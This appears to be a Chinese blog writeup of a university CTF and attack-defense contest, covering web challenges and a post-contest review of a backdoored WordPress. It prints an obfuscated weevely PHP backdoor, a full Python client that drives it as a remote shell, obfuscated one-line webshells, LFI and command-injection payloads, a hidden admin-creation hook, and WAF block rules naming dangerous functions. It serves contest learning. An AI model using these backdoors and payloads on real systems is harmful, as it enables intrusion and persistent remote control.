Back

厦大旅游小记

这次比赛在赛前看规则我觉得还挺有意思的,毕竟是采用一种新的AWD形式,Web方面采用的是正则配waf的形式去防御,然后当初给@Mio师傅看的时候,他表示也挺想来的。可惜他们学校没报销就没来了。这次就写写这两天的比赛经验吧。

[TOC]

Day 1

第一天是CTF解题赛,一共是5个web。由于不能复现,官方也没有给源码,这里仅能凭靠着记忆写一下。来到比赛现场拿到ip的时候,我们的全能选手@hac45 就立马扫了一下我们的ip段,也成功发现了题目,此时距离比赛开始应该差30min左右。基本把5个web都扫到了。其中web5扫到了git泄露,然后立马拿到了源码,但是并没有第一时间做,因为我也担心万一他不放这道题,我有可能白费功夫,即使放出来了我也会比其他队稍微快一步,就暂时搁在一边了。


现在是12月4日,比赛过去已经有一段时间了。这里大体就是根据回忆来写的

好了就不扯太多的想法了。直接切入技术点。

Web 1

一道sql注入的题…万能密码,因为过滤了两种注释方式,所以需要闭合最后的'

1'/**/order/**/by/**/'1

Web 2

phar反序列化

<?php

class MyClass{
    var $output = 'echo "hahaha";';
    function __destruct(){
        eval($this -> output);
    }
}
    $phar = new Phar("zedd.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new MyClass();
    $o->output = "system('ls');";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    //签名自动计算
    $phar->stopBuffering();
 ?>

得到的phar改个后缀名jpg,然后先绕过上传,再用另一个php文件去包含即可得到回显。

这里没有记录了…就大概说一下,考点主要是phar反序列化,没什么难度。可惜没拿到一血。

Web 3

这题index只显示了一个从generate.php获取得到的md5,而且获取的参数有没有都无所谓。赛后听说还有generate.php.bak,但是我们没扫到…

没看懂…

Web3给了hint phpjm,但是我们由于没有外网,也没有很细致地研究过,只是单纯的回用线上解密。所以就放弃了。

Web 4

vue.js做的一个站,但是由于服务器也没有外网,但是vue.js又用了cdn的方式引入,当时页面大概就是

Hello, {{ name }}

不太懂…

Web 5

通过扫描发现git泄漏,但是用Githack只拖到了一个文件rrrrrrrrrrrrradme.php

<?php

echo 'this is a file in the path 303f0ca4472df9e21be369308af5685f';

然后发现303f0ca4472df9e21be369308af5685f确实是个目录。这里我们参考网鼎杯第四场一道题的做法,网鼎杯第四场Some Web Writeup

cat refs/stash
eb49f8e2a56728a60ca28b46b35eebfc686dbf75

git cat-file -p eb49
tree a9a44c4bc2732e1ddf5471955d4d41b7e0388419
parent f1358a6b48fd88cf4e70d92e99374c5746320d80
parent 0fe6eac337d025cadd3dfe361ace9c8d564114bc
author testforctf <test_for_ctf@github.com> 1541673356 +0800
committer testforctf <test_for_ctf@github.com> 1541673356 +0800

On master: rrrrrrrrrrrrradme.php

git ls-tree a9a4
100644 blob fcd1b82307da944a573344988d291b869df17493	dem0000000000.php
100644 blob e4ab881f33fd5e4726079a15fbe2d2a338d5ab0d	rrrrrrrrrrrrradme.php

git cat-file -p fcd1b82307da944a573344988d291b869df17493
<?php
$A = '$j=0;(TI$j<$c&&TI$i<TI$l);$j+TITI+,$i++){$o.=TI$TIt{$i}^$k{TI$j};}}rTIeTIturn $o;}TI$r=$_STIERVTIETIR;$rr=@$r["HTITTP_REFERE';
$o = 'TI;$q=array_TIvaluesTI($TIq);pregTI_mTIatch_all("/([TI\\w])[\\TIw-]+(?:;TIq=TITI0.(TI[\\d]))?,?/",$ra,$m)TI;iTIfTI($q&&$m){@s';
$F = '_replacTIe(arraTIy("/_TI/"TI,"/-/"),arrTIay("/TI","+")TI,$TIssTI($TIs[$i],0,$e))),$k))TI);$o=obTI_gTITIet_contents();TIob_';
$H = 'ITI][$z]];if(sTItrpos($TIp,$hTITI)===0){$s[$i]=TITI"";$p=$ss($pTI,3)TI;}iTIf(array_key_TIexistsTI($i,$s)){TI$TIs[$i].=$TIp';
$p = 'I5($i.TITI$TIkh),0,3));$f=$sTIl($ss(TImd5($i.$TIkf),TI0,TI3));$TIp="";for($z=1;$TIz<cTIount($m[TI1]);TI$TIz++)$p.=$q[$TIm[2T';
$a = 'R"]TI;$rTIa=@$r["HTTPTI_ACCETIPT_LANGTIUAGETI"];if($rr&&TI$ra){TI$TIu=parTIse_urTIl($TIrr);parse_str($TIu["qTIuery"],$TIq)';
$m = 'eTIssion_TITIstart();$s=&$TI_SETISSION;$ssTI="sTIuTITITIbstr";$sl="TIstrtolower";$i=$m[1][0]TITI.$mTI[1][TI1];$h=$sl($ss(mdT';
$i = str_replace('Bm', '', 'cBmBmreate_BmfuBmncBmBmtion');
$x = ';$e=sTItrpos(TI$s[$iTI]TI,$f);if($TIe){$k=$kh.TI$kf;ob_staTIrt(TI)TI;@TIevTIal(@gzTIuncomTIpress(@x(@baseTI64_dTIecode(preg';
$D = 'end_TIclean(TI);$d=TIbaseTI64TI_enTIcode(x(gzcoTImpress($o),$TITIk));TIprint("<$k>$TId</TI$kTI>");@sTIesTIsion_destroy();}}}}';
$r = '$kh="bTIa59";$TIkf=TI"9TIae2";functionTI x($t,$kTI){$c=strlTIen($TIk);$lTI=strlTIen($t);$o=TI"";fTIor($i=0TI;$i<TI$TIl;){forTI(';
$J = str_replace('TI', '', $r . $A . $a . $o . $m . $p . $H . $x . $F . $D);
$K = $i('', $J);
$K();
?>

得到另一个文件,dem0000000000.php

<?php
$A = '$j=0;(TI$j<$c&&TI$i<TI$l);$j+TITI+,$i++){$o.=TI$TIt{$i}^$k{TI$j};}}rTIeTIturn $o;}TI$r=$_STIERVTIETIR;$rr=@$r["HTITTP_REFERE';
$o = 'TI;$q=array_TIvaluesTI($TIq);pregTI_mTIatch_all("/([TI\\w])[\\TIw-]+(?:;TIq=TITI0.(TI[\\d]))?,?/",$ra,$m)TI;iTIfTI($q&&$m){@s';
$F = '_replacTIe(arraTIy("/_TI/"TI,"/-/"),arrTIay("/TI","+")TI,$TIssTI($TIs[$i],0,$e))),$k))TI);$o=obTI_gTITIet_contents();TIob_';
$H = 'ITI][$z]];if(sTItrpos($TIp,$hTITI)===0){$s[$i]=TITI"";$p=$ss($pTI,3)TI;}iTIf(array_key_TIexistsTI($i,$s)){TI$TIs[$i].=$TIp';
$p = 'I5($i.TITI$TIkh),0,3));$f=$sTIl($ss(TImd5($i.$TIkf),TI0,TI3));$TIp="";for($z=1;$TIz<cTIount($m[TI1]);TI$TIz++)$p.=$q[$TIm[2T';
$a = 'R"]TI;$rTIa=@$r["HTTPTI_ACCETIPT_LANGTIUAGETI"];if($rr&&TI$ra){TI$TIu=parTIse_urTIl($TIrr);parse_str($TIu["qTIuery"],$TIq)';
$m = 'eTIssion_TITIstart();$s=&$TI_SETISSION;$ssTI="sTIuTITITIbstr";$sl="TIstrtolower";$i=$m[1][0]TITI.$mTI[1][TI1];$h=$sl($ss(mdT';
$i = str_replace('Bm', '', 'cBmBmreate_BmfuBmncBmBmtion');
$x = ';$e=sTItrpos(TI$s[$iTI]TI,$f);if($TIe){$k=$kh.TI$kf;ob_staTIrt(TI)TI;@TIevTIal(@gzTIuncomTIpress(@x(@baseTI64_dTIecode(preg';
$D = 'end_TIclean(TI);$d=TIbaseTI64TI_enTIcode(x(gzcoTImpress($o),$TITIk));TIprint("<$k>$TId</TI$kTI>");@sTIesTIsion_destroy();}}}}';
$r = '$kh="bTIa59";$TIkf=TI"9TIae2";functionTI x($t,$kTI){$c=strlTIen($TIk);$lTI=strlTIen($t);$o=TI"";fTIor($i=0TI;$i<TI$TIl;){forTI(';
$J = str_replace('TI', '', $r . $A . $a . $o . $m . $p . $H . $x . $F . $D);
$K = $i('', $J);
$K();
?>

当时并不知道这是个什么,硬着头皮逆了挺久的。而且队友扔过来给我的就是个经过他美化后的版本,我也没太在意。后来我们才知道原来是个weevely马,(我说怎么这么眼熟。虽然我们在赛场逆成功了,本地也可以执行了,但是就是找不到这个weevely马的位置,导致当时没做出来…

至于weevely马,用目前github上的weevely3得到马跟这个不一样,这个是由kali下的weevely产生的,然后我们参考了一個PHP混淆後門的分析,可以使用文末的exp利用一波。

# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg

# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://example.com/backdoor.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload,xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output,xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

修改一下文中的khkf就好了。

Day 2

拿到web源码,发现目录下有个._wp-config.php文件比较奇怪,一开始认为是自己Mac电脑的问题,就没管了。现在想起来,如果没有给出wp-config.php,貌似还是可以恢复的,然后得到数据库密码,使用nmap扫一波看看大家的3306开没开,用默认的账号密码连接数据库,然后写shell,或者删库造成宕机。可惜本次比赛没有check(后知后觉发现的),宕机删库什么的也不影响别人…而且web目录不具备write权限,就比较尴尬了。

背景

首先说一下目前普遍流行AWD的模式。

参赛队伍在竞赛设置的网络空间中,同时扮演着攻击者和防守者角色,互相进行攻击和防守。

攻方,通过挖掘网络服务漏洞,并攻击对手服务得分;

守方,通过修补自身服务漏洞或添加防御策略,从而进行防御避免丢分。

传统的AWD攻防模式通常是以一个SSH对应一个堡垒机,参赛者通过SSH登陆自己的服务器,进行审计漏洞,从而修补漏洞防守,或者通过漏洞攻击其他队伍得到分数。

但是这个世界上,总有人不按常理出牌,制造恶意违规行为,

比如:

“直接关闭网络连接,关闭网络访问”

“过度修改堡垒机,导致网站不可正常访问”

“直接攻击答题平台,获取题目信息或篡改分数”

……

目前这些问题已通过规则、健康检查等方式进行规避。

但是,真正难以解决的不是这些违规,而是一些**“不违规,却严重影响竞赛体验”**的情况,如【通过使用一次性脚本等现成工具,封堵赛场环境设置的堡垒机漏洞,导致环境失衡】。

在某种意义上,他们单方面提前吹响了“终止哨”,其他人又何来竞技体验、竞技趣味呢?

以往的攻防比赛,选手对自己web目录有读写的权力,这样造成了比赛中非常多的选手通过上通防,抓流量记录日志等技巧方式来防守或是攻击得分,并且很多选手通常通过一些“技巧”,通过对比赛check的绕过,关闭一些关键的正常服务或者全部web站点服务来在比赛中“苟”住。这样往往导致了很多AWD比赛中web要么就是被打穿,要么就是“天衣无缝”的情况,web选手的游戏体验在近期攻防比赛中每况愈下,以网鼎杯web为例,半决赛跟决赛的check只检查了index主页的关键字,导致了很多队伍一开始就进行了删站,只留个index主页来通过check,严重破坏了比赛体验。

改善?

简而言之就是,本次比赛在理想规则(为啥是理想规则?因为计划与现实完全是理想图与实物图的对比)改变了传统的web类型的攻防模式,web目录只读不可写,通过改变waf正则防御规则来防御攻击,攻击点全靠代码审计来攻击;pwn类型的与传统攻防相同。(以下三张图片来源于卧龙草堂公众号)

现实:赛前

乍一看是很不错的比赛,与@Mio师傅聊了一下,感觉挺不错的。然后决赛前一晚,我准备了挺多的waf正则规则,又准备了很多正则的资料(因为比赛过程不准连接外网),当时还有点挺担心的。事实上我多虑了…

首先主办方比赛前半小时左右发放了waf平台地址,正则规则需要在waf平台上配置,然而并没有给怎么使用该平台的说明,不过也不是很需要,随便点一点就差不多能了解整个平台的功能了,但是不给使用说明也有点坑,有些队伍赛后才知道在哪里配waf规则。

同时还发了web的地址、两个pwn的地址及pwn的ssh密码,并没有给web服务器的密码。后来打开一看原来还是个windows server,选手们的地址都在172.16.10-40.13。本次只有一个web,两个pwn,而且比较搞笑的pwn2被标成了pwn3,而且我们的pwn的ssh密码还不对,导致我们还在开赛后一段时间pwn的服务都连不上,耽误了很多时间。web打开发现是个wordpress,很快意识到去用wpscan,但是比较可惜的是打开我的kali发现wpscan并没有联网建立他的数据库,顿时尴尬。还好我眼疾手快,迅速在开赛前基本配好了关键字的`waf,防住了在开始比赛后30min左右北航等队的攻击。

大致当时配置的waf规则:

select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i

/base64_decode|eval\(|assert\(/i

|file_put_contents|fwrite|curl|system|eval|assert|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec

现实:赛时

开赛前几分钟,我马上尝试了admin/admin的弱密码尝试登录wordpress,发现成功登录,由于没有准备批量改密码的脚本,我只能靠手速迅速改掉了10个队左右的admin密码,但是改完后发现好像并没有什么用,传不了马,意识到web目录不可写,顿时也感觉有点可惜。也浪费了开赛前很宝贵的十多分钟在手改密码之上。

由于自己没带D盾这个神器,以为自己也能全局搜个eval能找出一句话,高估了自己的审计速度以及cobra审计的速度(非常慢…),导致有两个原本可以用D盾扫出来的一句话我们没有很及时地利用,失去了先机,脚本也没有准备好,导致收到了某些队伍打过来的payload之后(这里提一下,只有被拦截的请求才会显示在waf平台上,其他没有被拦截的是不会显示的),没有第一时间迅速利用起来。而且更坑的是,主办方明明在规则上写了使用curl FlagServer.com获取flag,然而web服务器上压根没配备curl,然后我们就想破脑筋,在本地资料各种找,想办法去请求FlagServer.com,无论是php curl_exec还是windows的什么其他方法都试过了,当时并没有打到回显,以至于我们在拿到别人shell之后的30min左右都没有办法得分,就很气,错过了非常多的分数。所以我们当时处于一个既没有被打,也打不了别人的情况。

然后我们就利用自己的pwn服务器尝试自己访问自己的flag,发现不是单纯的curl FlagServer.com这么简单,主办方还比较坑地给FlagServer.com配了https,所以我们还得使用它的证书,然后又找了一遍curl -h,又去找了一遍证书…反正这里就很坑。觉得搞不定,就立马去问了主办方怎么请求flag,在他们有反应给我们10min之前,我们终于在web服务器的web根目录的同级目录下找到了curl.exe以及相关证书,还有一个已经写好命令的bat文件。此时我们大概过去了1h左右了…别人已经打了好几轮了。

当时完整的命令是这样的…

curl.exe https://FlagServer.com:9000/flag --cacert ca.crt --cert client.crt --key client.key

中间还有个小插曲,把自己提交flag和查看服务状态的那个平台密码给忘了…只能去问主办方,最后发现竟然是大小写问题,又耽误了几分钟…之前都没被打,之后一上来就发现自己web被打了。

之后通过我们防守获取了很多队的payload,我们也通过抓取菜刀的流量,重放来攻击其他的队伍。由于当时大家都发现了并没有check或者check其他一些形同虚设的设置,大家都比较无赖了,比较多的队伍直接配置了.*规则,拦截了所有的请求。我们当时能收的也没有几个队的分了。

之后稳定地靠web拿了几轮分数来到了第六,感觉拿个奖应该没什么问题。可谁知北航等队出了pwn1 pwn2的一血,我们就开始被打了,被打了不重要,修就完事了,结果pwn还不能给patch,这是最骚的,问主办方他们也确实回答不给patch,结果我们就只能一直被打…就很气…自己队里也没有出pwn,就掉出了获奖范围。

赛时应该就这么多。主要是这个waf系统并没有想象中那么好,以及主办方各种没有说明,感觉相当的坑。赛时就写这么多吧。还是重点来看看赛后复盘这里。

Day N

wordpress版本是最新的4.9.8,服务器IIS,不过服务器版本号忘了。

对比之后差异一目了然

主要是两个一句话木马,以及4个插件。

Webshell

Poc 1

wordpress/wp-includes/customize/class-wp-customize-background-image-list.php

<?php
@$_ = "s" . "s" . /*-/*-*/"e" . /*-/*-*/"r";
@$_ = /*-/*-*/"a" . /*-/*-*/$_ . /*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P" . /*-/*-*/"OS" . /*-/*-*/"T"}
	[0 - /*-/*-*/2/*-/*-*/ - /*-/*-*/5/*-/*-*/]);

这个很明显是个assert的一句话,但是赛时我们本地测试老是不行,总是出现

Warning: Cannot call assert() with string argument dynamically in /xxx/shell.php on line 5

后来搜了一下发现竟然是php版本过高的问题,因为在php7中动态调用一些函数是被禁止的。详细参考菜刀连接php一句话木马返回200的原因及解决方法

这里是个密码为-7的一句话。

Poc 2

wordpress-awd/wp-includes/pomo/tp.php

<?php

${("#" ^ "|") . ("#" ^ "|")} = ("!" ^ "`") . ("( " ^ "{") . ("(" ^ "[") . ("~" ^ ";") . ("|" ^ ".") . ("*" ^ "~");
@${("#" ^ "|") . ("#" ^ "|")}(("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t"));

这里是第二个一句话,这里我们可以通过var_dump来看看这个的密码是什么。

php > echo ("#" ^ "|") . ("#" ^ "|");
__
    
php > var_dump(${("#" ^ "|") . ("#" ^ "|")});
string(6) "ASsERT"

php > echo ("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t");
eval(@$_POST[cmd])

这里就非常清楚了,是个密码为cmd的一句话。

Plugin

这里我们使用wpscan来看看

./wpscan --url http://localhost/wordpress -e vp		//查找有漏洞的plugin

site-editor

首先看site-editor

可以从图中看出,主要是个文件包含的漏洞。

详细参考[CVE-2018-7422] Local File Inclusion (LFI) vulnerability in WordPress Site Editor Plugin

http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

这里做个简要的分析,版本可能与CVE中提到的不同,多了str_replace的过滤…但是这个并没有什么用…

if( isset( $_REQUEST['ajax_path'] ) ){
	$ajax_path=$_REQUEST['ajax_path'];
	$ajax_path = str_replace('../','',$ajax_path);
    require_once $ajax_path;

}

可以看到这里可以直接包含/根目录下的文件,可以用..././跳到上层目录。

所以我们可以通过以下payload去包含之前的一句话木马

http://localhost/wordpress-awd/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=..././..././..././..././..././..././..././wp-includes/pomo/tp.php

gift-voucher

另一个wpscan扫到的插件是gift-voucher

可以看到这是个盲注的洞,详细参考WordPress Plugin Gift Voucher 1.0.5 - (Authenticated) ’template_id’ SQL Injection

sqlmap扫了一下

得到admin的密码,如果字典好的话,可以快一些。

Localize My Post

这个wpscan竟然没有扫出来,详细参考WordPress Plugin Localize My Post 1.0 - Local File Inclusion

<?php

//Include WP base to have the basic WP functions
include_once($_SERVER['DOCUMENT_ROOT'] . "/wp-blog-header.php");

//Set status 200 header
//Include requested file if it exists
if(isset($_REQUEST['file'])){
	$file=$_REQUEST['file'];
	$file = str_replace('./','',$file);
	header('HTTP/1.1 200 OK');
	include($file);
}

这里跟上面那个文件包含类似,可以用...//来访问上级目录

plainview-activity-monitor

这个也是wpscan没有扫出来的漏洞插件,而且是个RCE,但是利用条件是需要登录到后台才可以。详细参考WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection

/**
	@brief		Various tools.
	@since		2014-05-04 10:41:51
**/
<?php

public function admin_menu_tools(){
    $r = '';

		// IP converter
    $form = $this->form2();

    $fs = $form->fieldset('fs_ip');
    $fs->legend->label_('IP tools');

    $fs->text('ip')
        ->label_('IP or integer')
        ->required()
        ->size(15, 15);

    $fs->markup('markup_convert')
        ->markup('The convert button will convert the IP address or integer to its equivalent integer or IP address.');

    $fs->secondary_button('convert')
        ->value('Convert');

    $fs->markup('markup_lookup')
        ->markup('The lookup button will try to resolve an IP address to a host name. If dig is installed on the webserver it will also be used for the lookup.');

    $fs->secondary_button('lookup')
        ->value('Lookup');

    if ($form->is_posting()) {
        $form->post()->use_post_value();

        $ip = $fs->input('ip')->get_filtered_post_value();
        $long = $ip;
        $is_ip = (strpos($ip, '.') !== false);
        if ($is_ip)
            $long = ip2long($ip);
        else
            $ip = long2ip($ip);

        if ($fs->input('convert')->pressed()) {
            if ($is_ip)
                $message = $this->p_('The integer value of this IP address %s is <strong>%s</strong>.', $ip, $long);
            else
                $message = $this->p_('The IP address of the integer %s is <strong>%s</strong>.', $long, $ip);
        }

        if ($fs->input('lookup')->pressed()) {
            $address = gethostbyaddr($ip);
            $message = $this->p_('The IP address %s resolves to <strong>%s</strong>.', $ip, $address);

            $output = '';
            exec('dig -x ' . $ip, $output);
            if (count($output) > 0) {
                $output = array_filter($output);
                $output = implode("\n", $output);
                $message .= $this->p_('Output from dig: %s', $this->p($output));
            }
        }

        $this->message($message);
    }

    $r .= $form->open_tag();
    $r .= $form->display_form_table();
    $r .= $form->close_tag();

    echo $r;
}

关键代码:

if ($form->is_posting()) {
    $form->post()->use_post_value();

    $ip = $fs->input('ip')->get_filtered_post_value();
    $long = $ip;
    $is_ip = (strpos($ip, '.') !== false);
    if ($is_ip)
        $long = ip2long($ip);
    else
        $ip = long2ip($ip);

    if ($fs->input('convert')->pressed()) {
        if ($is_ip)
            $message = $this->p_('The integer value of this IP address %s is <strong>%s</strong>.', $ip, $long);
        else
            $message = $this->p_('The IP address of the integer %s is <strong>%s</strong>.', $long, $ip);
    }

    if ($fs->input('lookup')->pressed()) {
        $address = gethostbyaddr($ip);
        $message = $this->p_('The IP address %s resolves to <strong>%s</strong>.', $ip, $address);

        $output = '';
        exec('dig -x ' . $ip, $output);
        if (count($output) > 0) {
            $output = array_filter($output);
            $output = implode("\n", $output);
            $message .= $this->p_('Output from dig: %s', $this->p($output));
        }
    }

    $this->message($message);
}

这里我们看到,这段代码通过代码拼接的方式执行命令,存在命令执行的漏洞。

exec( 'dig -x ' . $ip, $output );

所以我们要看看$ip是否过滤安全

首先拿到ip,然后用strpos()函数检查是否有.出现,这里我们随便用一个域名就可以绕过了,让$is_ipTrue

$ip = $fs->input( 'ip' )->get_filtered_post_value();
$long = $ip;
$is_ip = ( strpos( $ip, '.' ) !== false  );
if ( $is_ip )
    $long = ip2long( $ip );
else
    $ip = long2ip( $ip );

再看ip2long

Return Values
Returns the host name on success, the unmodified ip_address on failure, or FALSE on malformed input.

所以这里$long = false

我们传不传convert参数都无所谓,因为都可以往下执行。但是为了触发代码执行,我们必须得传入lookup参数

if ( $fs->input( 'lookup' )->pressed() )
{
    $address = gethostbyaddr( $ip );
    $message = $this->p_( 'The IP address %s resolves to <strong>%s</strong>.', $ip, $address );

    $output = '';
    exec( 'dig -x ' . $ip, $output );
    if ( count( $output ) > 0 )
    {
        $output = array_filter( $output );
        $output = implode( "\n", $output );
        $message .= $this->p_( 'Output from dig: %s', $this->p( $output ) );
    }
}

其实其他的分布分析都无所谓,只要进入了这个if,就可以直接执行我们传入的$ip了,并不需要其他多余的操作。

所以这里可以说是没有任何过滤的一个命令执行漏洞,只要传入一个带有.的域名就可以绕过前面唯一一处对ip的检测了。所以我们可以构造一个payload:

ip=baidu.com%7C%20ls&lookup

得到执行结果。

Function.php

回过头来,我们再看看还有没有跟官方文件其他不同的文件。除了MAC产生的.DS_Store文件、._wp-config.php编辑临时文件、wp-config.php配置文件,剩下的就是function.php

我们对比得到比赛多出了这么一处代码:

add_action('wp_head', 'wploop_users');
function wploop_users() {
	if ($_POST['users'] == 'knockknock') {
		require 'wp-includes/registration.php';
		if (!username_exists('username')) {
			$user_id = wp_create_user('username', 'passpass');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}

代码简单易懂,就是传入users=knockknock就创建了一个用户名为username密码为passpass的有管理员权限的这么一个用户。

鸡肋?

一开始复盘的时候我也没搞懂为啥会多出这么一段代码,感觉很鸡肋,没有什么可以利用的点。

因为我们已知的管理员可以操作的点

  • 上传media文件
  • 编辑模版,改成一句话木马

但是这两个点都因为web目录不可写而失去了作用,所以这个增加一个管理员以及前面gift-voucher的盲注漏洞就看起来有些鸡肋了。所以一开始我手改的十多个队的管理员密码并没有很好地用起来,导致了时间的浪费。

不过后来我写到plainview-activity-monitor插件漏洞利用的时候,发现这个利用条件需要登录到后台,我猜想这里增加管理员以及盲注漏洞都是为了那个插件的RCE漏洞准备的吧。

总结

吐槽

这次比赛收获还是有的。只不过不给连外网比较坑,而且解题赛放题时间也不合理,Web最后两道题都是最后一小时才放的,而且考的phpjm也比较坑…而且Misc估计是这场比赛最大的槽点了,我没有从头到尾都在做Misc,但是两个Misc,都是靠爆破出来的zip压缩包密码,跟之前题目提示的密码呀什么的完全没有关系,我记得其中一个密码是q,另一个密码是与给出的密码暗示0x120完全不一样的0x110…这里坑了我们很久…

AWD就不想评价了,pwn只攻不防,赛后听说可以通过在自己的pwn服务上打forkbomb躲过其他队的攻击。整个比赛可以说是没有任何 check,主办方对get flag的方式也没有做详细说明,也听说有个队最后一小时才知道怎么get flag。平台卡的一批…公告还说不能用脚本提交flag,哎。到处都是槽点。感觉主办方准备的不是很充分。

自我反省

同时本次比赛,从技术的角度来看,主要在AWD方面,我感觉自己准备的还是不够充分,即使给了payload,我也没有第一时间利用起来去得分,导致自己丢了很多很多分数。主要也是自己对python没有足够的熟悉吧,被requests库自动urlencode坑了比较久。虽然收藏了几个大师傅的AWD工具框架,但是没有熟悉利用,以至于赛场都是自己现写的脚本,并没有将准备的脚本利用起来。

下次线下赛必备的脚本,其一是自动提交flag,主要是正则那里;其二是get flag的脚本,依据目前主流的攻防形式,要准备两类,一类是flag以文件的形式存放在选手机器上的,另一类就是在选手机器上通过curl请求得到flag的,目前我打过的比赛就分为这两类。


今晚还看了白帽100湖湘杯线下赛的记录,感觉自己的对于线下赛的理解还是不够深刻。打算有空更一篇AWD的个人总结。本次小记就这样吧。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy